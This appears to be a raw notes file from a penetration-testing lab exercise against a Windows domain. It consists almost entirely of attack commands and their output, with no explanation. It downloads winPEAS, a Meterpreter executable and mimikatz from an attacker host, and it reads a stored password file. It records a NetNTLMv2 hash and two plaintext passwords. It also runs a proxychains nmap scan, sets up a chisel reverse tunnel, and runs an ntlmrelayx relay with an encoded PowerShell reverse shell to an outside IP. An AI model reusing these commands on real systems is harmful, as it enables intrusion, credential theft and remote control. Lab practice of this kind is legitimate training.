68 lines
3.8 KiB
Markdown
68 lines
3.8 KiB
Markdown
|
|
PS C:\Windows\System32\WindowsPowerShell\v1.0. whoami
|
|
whoami
|
|
beyond\marcus
|
|
PS C:\Windows\System32\WindowsPowerShell\v1.0. hostname
|
|
hostname
|
|
CLIENTWK1
|
|
PS C:\Windows\System32\WindowsPowerShell\v1.0. ipconfig
|
|
ipconfig
|
|
|
|
Windows IP Configuration
|
|
|
|
|
|
Ethernet adapter Ethernet0:
|
|
|
|
Connection-specific DNS Suffix . :
|
|
IPv4 Address. . . . . . . . . . . : 172.16.160.243
|
|
Subnet Mask . . . . . . . . . . . : 255.255.255.0
|
|
Default Gateway . . . . . . . . . : 172.16.160.254
|
|
PS C:\Windows\System32\WindowsPowerShell\v1.0.
|
|
|
|
|
|
|
|
iwr -uri [http://192.168.45.198:8000/winPEASx64.exe](http://192.168.119.5:8000/winPEASx64.exe) -Outfile winPEAS.exe
|
|
|
|
|
|
type C:\Users\marcus\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData\3.0.0.0\passwords.txt
|
|
|
|
Enumerating Security Packages Credentials
|
|
Version: NetNTLMv2
|
|
Hash: marcus::BEYOND:1122334455667788:7a11d0ea1ca545e49688cde3c7ce30d9:01010000000000003f5f925128c6da013686d0a90db8fdca000000000800300030000000000000000000000000200000ca9c7210e9cfb74dcdbdb6246cc4618e90a419e1fc1edc60f3ec2c47c1dcbd220a00100000000000000000000000000000000000090000000000000000000000
|
|
|
|
|
|
Network Ifaces and known hosts
|
|
The masks are only for the IPv4 addresses
|
|
Ethernet0[00:50:56:9E:65:CE]: 172.16.160.243 / 255.255.255.0
|
|
Gateways: 172.16.160.254
|
|
DNSs: 172.16.160.240
|
|
Known hosts:
|
|
172.16.160.240 00.50.56.9E-FA-ED Dynamic
|
|
172.16.160.254 00.50.56.9E-DA-CD Dynamic
|
|
172.16.160.255 FF-FF-FF-FF-FF-FF Static
|
|
224.0.0.22 01.00.5E-00.00.16 Static
|
|
224.0.0.251 01.00.5E-00.00.FB Static
|
|
224.0.0.252 01.00.5E-00.00.FC Static
|
|
239.255.255.250 01.00.5E-7F-FF-FA Static
|
|
|
|
|
|
iwr -uri [http://192.168.45.198:8000/met.exe](http://192.168.119.5:8000/met.exe) -Outfile met.exe
|
|
|
|
|
|
sudo proxychains -q nmap -sT -oN nmap_servers -Pn -p 21,80,443 172.16.160.240 172.16.160.241 172.16.160.254
|
|
|
|
|
|
./`chisel.exe client 192.168.45.198:8080 R:80:172.16.160.241:80`
|
|
|
|
**DANIelaRO123**
|
|
|
|
|
|
**sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.229.242 -c **“powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADEAOQA4ACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7AHQAcgB5ACAAewAgACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAiAC4AIAB7ACAAJABkAGEAdABhACAAfQAgADIAPgAmADEAIgAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAiACQAXwBgAG4AIgB9ADsAIAAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA”
|
|
|
|
|
|
iwr -uri [http://192.168.45.198:8000/met.exe](http://192.168.119.5:8000/met.exe) -Outfile met.exe
|
|
|
|
iwr -uri [http://192.168.45.198:8000/mimikatz.exe](http://192.168.119.5:8000/mimikatz.exe) -Outfile mimikatz.exe
|
|
|
|
|
|
**NiftyTopekaDevolve6655!#!** |